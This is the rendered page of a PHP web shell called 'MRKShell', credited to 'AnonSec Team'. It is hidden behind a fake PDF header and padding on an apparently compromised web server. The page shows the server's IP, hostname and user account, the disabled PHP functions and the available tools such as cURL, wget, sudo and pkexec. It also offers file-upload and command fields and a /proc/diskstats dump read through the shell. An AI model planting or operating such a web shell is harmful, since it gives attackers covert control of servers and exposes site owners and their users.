...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.172
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/diskstats
 259       0 nvme0n1 1992753756 16075471 73925922267 248328796 411582936 328552099 95084764681 2651251033 0 413719798 2899579830 0 0 0 0
 259       1 nvme0n1p1 4100703 614233 477767322 657688 654295 8902513 78574557 15772751 0 1547761 16430440 0 0 0 0
 259       2 nvme0n1p2 63553 4539 7572856 7169 2219 4698 281105 32752 0 8682 39922 0 0 0 0
 259       3 nvme0n1p3 1988579471 15456699 73440364177 247662363 385834674 319644888 95005909019 2560446717 26 402310141 2808109081 0 0 0 0
 259       4 nvme1n1 292619198 15107833 19491228003 91742828 411383006 328752026 95084762649 2755101387 1 330593171 2846844215 0 0 0 0
 259       5 nvme1n1p1 3533833 416286 471602130 319266 652496 8904312 78574557 18983546 0 1633527 19302812 0 0 0 0
 259       6 nvme1n1p2 57339 4539 7434310 8904 2219 4698 281105 57910 0 9736 66814 0 0 0 0
 259       7 nvme1n1p3 289017925 14687008 19011974787 91409025 385636544 319843016 95005906987 2660821547 29 312986690 2752230572 0 0 0 0
   9       1 md1 14592 0 347498 8534 6400 0 280588 72122 0 3901 80656 0 0 0 0
   9       0 md0 1330833 0 10777912 759537 9494227 0 78511976 1749930678 0 3096035 1750690215 0 0 0 0
   9       2 md2 2156803638 0 73132493482 406342553 680203385 0 94908781136 3253614963 64 459670992 3659957516 0 0 0 0

Anon7 - 2022
AnonSec Team